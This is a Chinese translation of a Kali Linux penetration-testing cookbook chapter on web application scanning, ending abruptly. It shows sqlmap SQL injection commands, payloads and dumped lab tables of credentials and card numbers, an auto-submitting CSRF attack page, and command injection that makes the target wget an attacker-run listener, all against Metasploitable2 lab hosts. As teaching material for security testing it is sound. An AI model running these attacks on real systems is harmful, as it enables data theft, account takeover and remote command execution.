Kali Linux 網(wǎng)絡(luò)掃描秘籍 第七章 Web 應(yīng)用掃描(三)

第七章 Web 應(yīng)用掃描(三)

作者:Justin Hutchens

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

7.13 使用 BurpSuite Sequencer(序列器)

Web 應(yīng)用會話通常由會話 ID 標(biāo)識來維護(hù),它由隨機(jī)或偽隨機(jī)值組成。出于這個原因,隨機(jī)性通常是這些應(yīng)用的安全的關(guān)鍵。這個秘籍中,我們會討論如何使用 BurpSuite Sequencer 來收集生成的值,并測試它們的隨機(jī)性。

準(zhǔn)備

為了使用 BurpSuite 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

此外,你的 Web 瀏覽器需要配置來通過 BurpSuite 本地實例代理 Web 流量。關(guān)于將 BurpSuite 用作瀏覽器代理的更多信息,請參考第一章的“配置 BurpSuite”一節(jié)。

操作步驟

為了使用 BurpSuite Sequencer,響應(yīng)必須包含Set-Cookie協(xié)議頭,或者其它偽隨機(jī)數(shù)的值,測試需要它們來發(fā)送。這可以通過HTTP 代理歷史或者先于瀏覽器的響應(yīng)攔截來完成,像這樣:

Burp 會自動使用響應(yīng)中的所有 Cookie 值填充 Cookie 下拉菜單。作為替代,你可以使用Custom location字段,之后點擊Configure按鈕來指定響應(yīng)中的任何位置用于測試,像這樣:

在確定需要測試的值之后,點擊Start live capture按鈕,這會開始提交大量請求來獲得參數(shù)的附加值。這個例子中,Burp 會提交大量請求,并將 PHPSESSID 從請求中去除。這會導(dǎo)致服務(wù)器為每個請求生成新的會話標(biāo)識。這樣一來,我們就可以獲得樣本值,它們可以用于完成 FIPS 測試。FIPS 測試由一系列測試組成,它們會評估所生成的偽隨機(jī)數(shù)的熵。所有這些測試會以圖形格式展示,使其十分易懂,像這樣:

對于高準(zhǔn)確率和徹底的 FIPS 測試來說,總共需要 20000 個值。但是分析最少可以以 100 個值來執(zhí)行。除了執(zhí)行實時捕獲之外,Manual load標(biāo)簽頁可以用于為測試上傳或粘貼值的列表。

工作原理

BurpSuite Sequencer 對偽隨機(jī)數(shù)樣本執(zhí)行大量不同的數(shù)學(xué)評估,根據(jù)所生成隨機(jī)數(shù)的熵嘗試判斷其質(zhì)量。實時捕獲可用于生成樣本值,它通過提交事先構(gòu)造的請求,并導(dǎo)致服務(wù)器指派新的值。這通常通過從請求中移除現(xiàn)有Cookie值,從而使響應(yīng)以新的Set-Cookie協(xié)議頭的形式,提供新的會話標(biāo)識來完成。

7.14 使用 sqlmap 注入 GET 方法

Web 應(yīng)用常常接受所提供 URL 內(nèi)的參數(shù)。這些參數(shù)通常以 HTTP GET 方法傳給服務(wù)器。如果任何這些參數(shù)隨后包含在發(fā)給后端數(shù)據(jù)庫的查詢語句中,SQL 注入漏洞就可能存在。我們會討論如何使用 sqlmap 來自動化 HTTP GET 方法請求參數(shù)的測試。

準(zhǔn)備

為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

操作步驟

為了使用 sqlmap 來測試 HTTP GET 方法參數(shù),你需要使用-u參數(shù)以及要測試的 URL。這個 URL 應(yīng)該包含任何 GET 方法參數(shù)。此外,如果 Web 內(nèi)容僅僅通過建立的會話來方法,還需要使用--cookie提供與會話對應(yīng)的 Cookie。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 
                                ** {CUT} ** 
sqlmap identified the following injection points with a total of 279 HTTP(s) requests: 
--
Place: GET 
Parameter: id
    Type: boolean-based blind    
    Title: OR boolean-based blind - WHERE or HAVING clause    
    Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y
    
    Type: error-based    
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    
    Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y
    
    Type: UNION query    
    Title: MySQL UNION query (NULL) - 2 columns    
    Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y
    
    Type: AND/OR time-based blind    
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)    
    Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y 
--

                            ** {TRUNCATED} ** 

上面的例子使用了risk3level5。這些值定義了所執(zhí)行測試的風(fēng)險性和徹底性。更多risklevel的信息請參考 sqlmap 手冊頁和幫助文件。執(zhí)行測試時,sqlmap 會快速將后端數(shù)據(jù)庫識別為 MySQL,并跳過其它測試。如果沒有指定任何操作,sqlmap 會僅僅判斷是否任何參數(shù)存在漏洞,像上個例子那樣。在一系列注入嘗試之后,sqlmap 判斷出ID參數(shù)存在多種類型的 SQL 注入漏洞。在確認(rèn)漏洞之后,sqlmap 會執(zhí)行操作來提取后端數(shù)據(jù)庫的信息。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dbs 
                            ** {CUT} ** 

--
[03:38:00] [INFO] the back-end DBMS is MySQL 
web server operating system: Linux Ubuntu 8.04 (Hardy Heron) 
web application technology: PHP 5.2.4, Apache 2.2.8 
back-end DBMS: MySQL 5.0 
[03:38:00] [INFO] fetching database names 
[03:38:00] [WARNING] reflective value(s) found and filtering out 
available databases [7]: 
[*] dvwa
[*] information_schema 
[*] metasploit 
[*] mysql 
[*] owasp10 
[*] tikiwiki 
[*] tikiwiki195
                            ** {TRUNCATED} ** 

在上面的例子中,--dbs參數(shù)用于枚舉所有可用的,能通過 SQL 注入訪問的數(shù)據(jù)庫。通過名稱來判斷,它表明列出的數(shù)據(jù)庫直接對應(yīng) DVWA 的應(yīng)用。我們之后可以直接對數(shù)據(jù)庫執(zhí)行操作。為了提取 DWVA 數(shù)據(jù)庫的所有表的名稱,我們可以使用--tables參數(shù)來讓 sqlmap 提取表名稱,之后使用-D參數(shù)指定需要提取的數(shù)據(jù)庫(dvwa)。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --tables -D dvwa 
                            ** {CUT} ** 
Database: dvwa 
[2 tables] 
+-----------+ 
| guestbook | 
| users     | 
+-----------+ 
                            ** {TRUNCATED} ** 

這樣做,我們可以看到 DVWA 數(shù)據(jù)庫中有兩個表。這些表包括guestbookusers。用戶表通常值得提取,因為它通常包含用戶名和相關(guān)的密碼哈希。為了從某個指定表中提取信息,我們可以使用--dump參數(shù),之后使用-D參數(shù)來指定數(shù)據(jù)庫,-T參數(shù)來指定提取哪個表的內(nèi)容。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/dvwa/vulnerabilities/ sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf2b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5 --dump -D dvwa -T users 
                            ** {CUT} ** 
do you want to crack them via a dictionary-based attack? [Y/n/q] Y 
[03:44:03] [INFO] using hash method 'md5_generic_passwd' 
what dictionary do you want to use?
[1] default dictionary file './txt/wordlist.zip' (press Enter) 
[2] custom dictionary file 
[3] file with list of dictionary files 
> 
[03:44:08] [INFO] using default dictionary 
do you want to use common password suffixes? (slow!) [y/N] N 
                                ** {CUT} ** 
Database: dvwa 
Table: users 
[5 entries] 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
| user_id | user    | avatar                                                 | password                                    | last_name | first_name | 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
| 1       | admin   | http://192.168.223.132/dvwa/hackable/users/admin. jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 
| 2       | gordonb | http://192.168.223.132/dvwa/hackable/users/gordonb. jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 
| 3       | 1337    | http://192.168.223.132/dvwa/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 
| 4       | pablo   | http://192.168.223.132/dvwa/hackable/users/pablo. jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 
| 5       | smithy  | http://192.168.223.132/dvwa/hackable/users/smithy. jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 
+---------+---------+-------------------------------------------------------+---------------------------------------------+-----------+-----------+ 
                                ** {TRUNCATED} **

在識別表的內(nèi)容中存在密碼哈希之后,sqlmap 會提供選項,詢問用戶是否使用內(nèi)置的密碼破解器來對枚舉密碼哈希執(zhí)行字典攻擊。這可以使用內(nèi)置單詞列表,自定義單詞列表,或者一系列單詞列表來執(zhí)行。在執(zhí)行字典攻擊之后,我們可以看到表的內(nèi)容包含用戶 ID,用戶頭像的位置,MD5 哈希,哈希的純文本附加值(鹽),以及用戶姓名。

工作原理

sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應(yīng)來智能調(diào)整注入。在 HTTP GET 參數(shù)上執(zhí)行 SQL 注入非常繁瑣,因為修改內(nèi)容要經(jīng)過請求 URL 。

7.15 使用 sqlmap 注入 POST 方法

sqlmap 是 Kali 中的集成命令行工具,它通過自動化整個流程,極大降低了手動利用 SQL 注入漏洞所需的經(jīng)歷總量。這個秘籍中,我們會討論如何使用 sqlmap 來自動化 HTTP POST 請求參數(shù)的測試。

準(zhǔn)備

為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

為了在使用 HTTP POST 方法的服務(wù)上指定 SQL 注入,我們需要使用--data參數(shù)來指定 POST 參數(shù)字符串。Mutillidae 的登錄應(yīng)用提供了一個登錄頁面,它通過 POST 方法傳遞用戶名和密碼。它就是我們的 SQL 注入攻擊目標(biāo)。看看下面的例子:

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --level=5 --risk=3 
                        ** {CUT} ** 
sqlmap identified the following injection points with a total of 267 HTTP(s) requests:
--
Place: POST 
Parameter: username    
    Type: boolean-based blind    
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)    
    Payload: username=-8082' OR (4556=4556)#&password=pass&login-phpsubmit-button=Login
    
    Type: error-based    
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause    
    Payload: username=user' AND (SELECT 3261 FROM(SELECT COUNT(*),CONCAT( 0x3a61746d3a,(SELECT (CASE WHEN (3261=3261) THEN 1 ELSE 0 END)),0x3a76676 23a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x) a) AND 'MraR'='MraR&password=pass&login-php-submit-button=Login 
--
[04:14:10] [INFO] the back-end DBMS is MySQL 
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8 
back-end DBMS: MySQL 5.0 
                        ** {TRUNCATED} ** 

如果沒有指定操作,sqlmap 僅僅會判斷是否任何參數(shù)存在漏洞,像上面的例子那樣。在一系列注入嘗試之后,sqlmap 判斷出用戶名 POST 參數(shù)存在boolean-blinderror-based漏洞。在確認(rèn)漏洞之后,sqlmap 會執(zhí)行操作,開始從后端數(shù)據(jù)庫提取信息。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dbs 
                        ** {CUT} ** 
available databases [7]: 
[*] dvwa 
[*] information_schema 
[*] metasploit 
[*] mysql 
[*] owasp10 
[*] tikiwiki 
[*] tikiwiki195 
                        ** {TRUNCATED} **

在上面的例子中,--dbs參數(shù)用于枚舉所有可用的,可通過 SQL 注入訪問的數(shù)據(jù)庫。我們隨后可以對特定數(shù)據(jù)庫直接執(zhí)行操作。為了提取owasp10數(shù)據(jù)庫中的所有表的名稱,我們可以使用--tables參數(shù)讓 sqlmap 提取表名稱。之后使用-D參數(shù)來指定從哪個數(shù)據(jù)庫(owasp10)提取名稱。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --tables -D owasp10 
                    ** {CUT} ** 
Database: owasp10 
[6 tables] 
+----------------+ 
| accounts       | 
| blogs_table    | 
| captured_data  | 
| credit_cards   | 
| hitlog         | 
| pen_test_tools | 
+----------------+ 
                    ** {TRUNCATED} ** 

這樣做,我們就可以看到,owasp10數(shù)據(jù)庫中存在六個表。這些表包含accounts, blog_table, captured_data, credit_cards, hitlog, and pen_test_tools。最明顯的表名稱是credit_cards。為了提取某個指定表的內(nèi)容,我們可以使用--dump參數(shù),之后使用-D參數(shù)來指定數(shù)據(jù)庫,-T參數(shù)來指定從哪個表中提取內(nèi)容。

root@KaliLinux:~# sqlmap -u "http://172.16.36.135/mutillidae/index. php?page=login.php" --data="username=user&password=pass&login-php-submitbutton=Login" --dump -D owasp10 -T credit_cards 
                    ** {CUT} ** 
Database: owasp10 
Table: credit_cards 
[5 entries] 
+------+-----+------------------+------------+ 
| ccid | ccv | ccnumber         | expiration | +------+-----+------------------+------------+ 
| 1    | 745 | 4444111122223333 | 2012-03-01 |
| 2    | 722 | 7746536337776330 | 2015-04-01 | 
| 3    | 461 | 8242325748474749 | 2016-03-01 | 
| 4    | 230 | 7725653200487633 | 2017-06-01 | 
| 5    | 627 | 1234567812345678 | 2018-11-01 | +------+-----+------------------+------------+ 
                    ** {TRUNCATED} **

工作原理

sqlmap 的原理是提交來自大量已知 SQL 注入查詢列表的請求。它在近幾年間已經(jīng)高度優(yōu)化,并給予之前查詢的響應(yīng)來智能調(diào)整注入。在 HTTP POST 參數(shù)上執(zhí)行 SQL 注入的原理是操作添加到 POST 方法請求末尾的數(shù)據(jù)。

7.16 使用 sqlmap 注入捕獲的請求

為了簡化 sqlmap 的使用流程,可以使用來自 BurpSuite 的捕獲請求并使用定義在其中的所有參數(shù)和配置來執(zhí)行 sqlmap。在這個秘籍中,我們會討論如何使用 sqlmap 來測試和所捕獲請求相關(guān)的參數(shù)。

準(zhǔn)備

為了使用 sqlmap 對目標(biāo)執(zhí)行 Web 應(yīng)用分析,你需要擁有運行一個或多個 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

操作步驟

為了在 sqlmap 中使用捕獲的請求,必須首先將其保存為文本格式。為了這樣做,右擊 BurpSuite 中的請求內(nèi)容之后選擇Copy to file。保存之后,你就可以通過瀏覽器目錄并使用cat命令來驗證文件內(nèi)容。

root@KaliLinux:~# cat dvwa_capture 
GET /dvwa/vulnerabilities/sqli_blind/?id=test_here&Submit=Submit HTTP/1.1
Host: 172.16.36.135 
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/dvwa/vulnerabilities/sqli_blind/ 
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c 
Connection: keep-alive 

為了使用捕獲的請求,以 -r參數(shù)執(zhí)行 sqlmap,值為文件的絕對路徑。這個方式通常會極大降低在sqlmap命令中需要提供的信息量,因為需要提供的多數(shù)信息都包含在文件里了。看看下面的例子:

oot@KaliLinux:~# sqlmap -r /root/dvwa_capture --level=5 --risk=3 -p id
[*] starting at 16:44:09
[16:44:09] [INFO] parsing HTTP request from '/root/dvwa_capture' 

在上面的例子中,不需要向 sqlmap 傳遞任何 Cookie 值,因為 Cookie 值已經(jīng)定義在捕獲的請求中了。當(dāng) sqlmap 運行時,捕獲文件中的 Cookie 會自動在所有請求中使用,像這樣:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N 
sqlmap identified the following injection points with a total of 487 HTTP(s) requests: 
--
Place: GET 
Parameter: id
    Type: boolean-based blind 
    Title: OR boolean-based blind - WHERE or HAVING clause    
    Payload: id=-8210' OR (7740=7740) AND 'ZUCk'='ZUCk&Submit=Submit
    
    Type: UNION query    
    Title: MySQL UNION query (NULL) - 2 columns    
    Payload: id=test_here' UNION ALL SELECT NULL,CONCAT(0x3a6f63723a,0x67 744e67787a6157674e,0x3a756c753a)#&Submit=Submit
    
    Type: AND/OR time-based blind    
    Title: MySQL < 5.0.12 AND time-based blind (heavy query)    
    Payload: id=test_here' AND 4329=BENCHMARK(5000000,MD5(0x486a7a4a)) AND 'ARpD'='ARpD&Submit=Submit 

sqlmap 能夠測試捕獲請求中的所有識別的 GET 方法參數(shù)。這里,我們可以看到,ID參數(shù)存在多個 SQL 注入漏洞。

工作原理

sqlmap 能夠接受捕獲的請求,來解析請求的內(nèi)容并是被任何可測試的參數(shù)。這讓 sqlmap 能夠高效執(zhí)行,而不需要花費額外的經(jīng)歷來傳遞攻擊所需的所有參數(shù)。

7.17 自動化 CSRF 測試

跨站請求偽造(CSRF)是最難以理解的 Web 應(yīng)用漏洞之一。無論如何,不能夠識別這類漏洞會危害 Web 應(yīng)用和它的用戶。這個秘籍中,我們會討論如何測試 GET 和 POST 方法中的 CSRF 漏洞。

準(zhǔn)備

為了對目標(biāo)執(zhí)行 CSRF 測試,你需要擁有運行一個或多個含有 CSRF 漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

操作步驟

CSRF 可能會出現(xiàn)在 GET 或 POST 方法的事務(wù)中,DVWA 提供了 GET 方法 CSRF 漏洞的一個良好示例。應(yīng)用允許用戶通過 GET 方法提交新的值兩次來更新密碼。

GET /dvwa/vulnerabilities/csrf/?password_new=password&password_ conf=password&Change=Change HTTP/1.1 
Host: 172.16.36.135 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/dvwa/vulnerabilities/csrf/ 
Cookie: security=low; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7b0c 

由于缺少 CSRF 控制,我們嘗試?yán)眠@個漏洞。如果 Web 應(yīng)用的用戶被引誘來訪問某個 URL,其中含有預(yù)先配置的password_ newpassword_ conf值,攻擊者就能強迫受害者將密碼修改為攻擊者的選擇。下面的 URL 是個利用的示例。如果受害者訪問了這個鏈接,它們的密碼會被修改為compromised

http://172.16.36.135/dvwa/vulnerabilities/csrf/?password_ new=compromised&password_conf=compromised&Change=Change#

但是,這種可以簡單利用的 CSRF 漏洞很少存在。這是因為多數(shù)開發(fā)者對安全擁有起碼的終止,不會使用 GET 方法參數(shù)來執(zhí)行安全事務(wù)。POST 方法 CSRF 的一個例子是 Mutillidae 應(yīng)用的 blog功能,像這樣:

POST /mutillidae/index.php?page=add-to-your-blog.php HTTP/1.1 
Host: 172.16.36.135 
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://172.16.36.135/mutillidae/index.php?page=add-to-your-blog. php 
Cookie: username=Victim; uid=17; PHPSESSID=8aa4a24cd6087911eca39c1cb95a7 b0c 
Connection: keep-alive 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 98

csrf-token=SecurityIsDisabled&blog_entry=This+is+my+blog+entry&add-toyour-blog-php-submit-button=Save+Blog+Entry

上面的例子中,我們可以看到,驗證用戶所提交的blog入口通過blog_entryPOST 方法參數(shù)傳遞。為了利用這個 CSRF 控制的缺失,攻擊者需要構(gòu)造惡意頁面,它能導(dǎo)致受害者提交所需的參數(shù)。下面是個 POST 方法 CSRF 攻擊的例子:

<html> 
<head>        
    <title></title> 
</head> 
<body>        
    <form name="csrf" method="post" action="http://172.16.36.135/ mutillidae/index.php?page=add-t$                
        <input type="hidden" name="csrf-token" value="SecurityIsDisabled" />                
        <input type="hidden" name="blog_entry" value="HACKED" />                
        <input type="hidden" name="add-to-your-blog-phpsubmit-button" value="Save+Blog+Entr$        
    </form>        
    <script type="text/javascript">                
        document.csrf.submit();        
    </script> </body> </html> 

這個惡意 Web 頁面使用了 HTML 表單,它將多個隱藏的輸入字段返回給服務(wù)器,這些字段對應(yīng) Mutillidae 應(yīng)用的blog入口提交請求所需的相同輸入。此外,JS 用于提交表單。所有這些事情在受害者不執(zhí)行任何操作的情況下就會發(fā)生。考慮下面的例子:

root@KaliLinux:~# mv CSRF.html /var/www/ 
root@KaliLinux:~# /etc/init.d/apache2 start 
[....] Starting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName 
. ok

為了部署這個惡意 Web 內(nèi)容,應(yīng)該將其移動到 Web 根目錄下。在 Kali 中,默認(rèn)的 Apache Web 根目錄是/var/www/。同樣,確保 Apache2 服務(wù)已打開。像這樣:

當(dāng)驗證后的受害者瀏覽器惡意頁面時,受害者會自動重定向到 Mutillidae 博客應(yīng)用,并提交博客入口HACKED

工作原理

CSRF 的成因是請求最終由用戶的會話生成。這個攻擊利用受害者瀏覽器已經(jīng)和遠(yuǎn)程 Web 服務(wù)器建立連接的信任。在 GET 方法 CSRF 的例子中,受害者被誘導(dǎo)訪問某個 URL,其中的參數(shù)為惡意事務(wù)而定義。在 POST 方法 CSRF 的例子中,受害者被誘導(dǎo)瀏覽定義了參數(shù)的頁面,這些參數(shù)隨后會由受害者的瀏覽器轉(zhuǎn)發(fā)給漏洞服務(wù)器,來指定惡意事務(wù)。在每個例子中,事務(wù)由于請求來自受害者的瀏覽器而被執(zhí)行,受害者已經(jīng)和漏洞服務(wù)器建立了可信的會話。

7.18 使用 HTTP 流量驗證命令注入漏洞

命令注入可能是移植 Web 應(yīng)用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試?yán)迷撀┒矗云谕鼈冏詈竽軌蛟诘讓?OS 上執(zhí)行任意的代碼。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中,我們會討論如何使用 Web 服務(wù)器日志或自定義 Web 服務(wù)腳本來確認(rèn)命令執(zhí)行漏洞。

準(zhǔn)備

為了對目標(biāo)執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器,將腳本寫到文件系統(tǒng)。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。

操作步驟

通過執(zhí)行命令,強迫后端系統(tǒng)和 Web 服務(wù)器交互,我們就能夠驗證 Web 應(yīng)用中的命令注入漏洞。日志可以作為漏洞服務(wù)器和它交互的證據(jù)。作為替代,可以編寫一個自定義腳本來生成一個臨時的 Web 服務(wù),它可以監(jiān)聽外部連接,并打印接收到的請求。下面的 Python 代碼完成了這件事情:

#!/usr/bin/python
import socket
httprecv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
httprecv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 
httprecv.bind(("0.0.0.0",8000)) 
httprecv.listen(2)

(client, ( ip,sock)) = httprecv.accept()
print "Received connection from : ", ip 
data = client.recv(4096) 
print str(data)

client.close() 
httprecv.close() 

一旦執(zhí)行腳本,我們需要強迫目標(biāo)服務(wù)器和監(jiān)聽服務(wù)交互,來確認(rèn)命令注入漏洞。DWVA 應(yīng)用擁有ping功能,可以用于 ping 一個指定 IP 地址。用戶輸入直接傳遞給系統(tǒng)調(diào)用,可以修改來執(zhí)行底層 OS 的任意命令、我們可以通過使用分號來添加多個命令,每個命令依次排列,像這樣:

在上面的例子中,輸入用于 ping 127.0.0.1,并且對http://172.16.36.224:8000執(zhí)行wgetwget請求對應(yīng)臨時的 Python 監(jiān)聽服務(wù)。在提交輸入后,我們可以通過參考腳本的輸入來驗證命令執(zhí)行:

root@KaliLinux:~# ./httprecv.py 
Received connection from :  172.16.36.135 
GET / HTTP/1.0 
User-Agent: Wget/1.10.2 
Accept: */* Host: 172.16.36.224:8000 
Connection: Keep-Alive 

工作原理

Python 腳本用于確認(rèn)命令執(zhí)行漏洞,因為它證明了命令可以通過來自不同系統(tǒng)的注入載荷在目標(biāo)服務(wù)器上執(zhí)行。載荷輸入到服務(wù)器的時候,不可能同時執(zhí)行相似的請求。但是,即使載荷并不是被檢測到的流量的真正來源,我們也可以輕易嘗試多次來排除錯誤情況。

7.19 使用 ICMP 流量 來驗證命令注入

命令注入可能是移植 Web 應(yīng)用攻擊向量中最危險的漏洞了。多數(shù)攻擊者嘗試?yán)迷撀┒矗云谕鼈冏詈竽軌蛟诘讓?OS 上執(zhí)行任意的代碼。命令執(zhí)行漏洞提供了無需額外步驟的可能。這個秘籍中,我們會討論如何使用 ICMP 流量來編寫用于確認(rèn)命令執(zhí)行漏洞的自定義腳本。

準(zhǔn)備

為了對目標(biāo)執(zhí)行命令注入漏洞測試,你需要擁有運行一個或多個含有命令執(zhí)行漏洞的 Web 應(yīng)用的遠(yuǎn)程系統(tǒng)。所提供的例子中,我們使用 Metasploitable2 實例來完成任務(wù)。 Metasploitable2 擁有多種預(yù)安裝的漏洞 Web 應(yīng)用,運行在 TCP 80 端口上。配置 Metasploitable2 的更多信息請參考第一章中的“安裝 Metasploitable2”秘籍。

此外,這個秘籍也需要使用例如 VIM 或者 Nano 的文本編輯器,將腳本寫到文件系統(tǒng)。更多編寫腳本的信息請參考第一章的“使用文本編輯器(VIM 或 Nano)”秘籍。

操作步驟

通過執(zhí)行命令,強迫后端系統(tǒng)發(fā)送 ICMP 流量給監(jiān)聽服務(wù),我們可以驗證 Web 應(yīng)用中的命令注入漏洞。接收到的 ICMP 回響請求可以用于識別漏洞系統(tǒng)。下面是一段 Python 代碼,使用 Scapy 庫來實現(xiàn):

#!/usr/bin/python

import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) 
from scapy.all import *

def rules(pkt):   
    try:      
        if (pkt[IP].dst=="172.16.36.224") and (pkt[ICMP]):         
            print str(pkt[IP].src) + " is exploitable"   
    except:      
        pass

print "Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening"

sniff(lfilter=rules,store=0)

在 ICMP 監(jiān)聽器執(zhí)行之后,我們需要嘗試從漏洞服務(wù)器向監(jiān)聽服務(wù)發(fā)送 ICMP 回響請求。這可以通過將ping命令注入到存在命令注入漏洞的用戶輸入來完成。在 Mutillidae 中,執(zhí)行 DNS 枚舉的功能存在漏洞,它直接將用戶輸入傳遞給系統(tǒng)調(diào)用。通過使用分號,單獨的ping請求可以追加到用戶輸入后面。

假設(shè)服務(wù)器存在命令注入漏洞,Python 監(jiān)聽器會提示收到了 ICMP 回響請求,而且目標(biāo)服務(wù)器可能存在漏洞。

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic.  Use Ctrl+C to stop listening 
172.16.36.135 is exploitable

工作原理

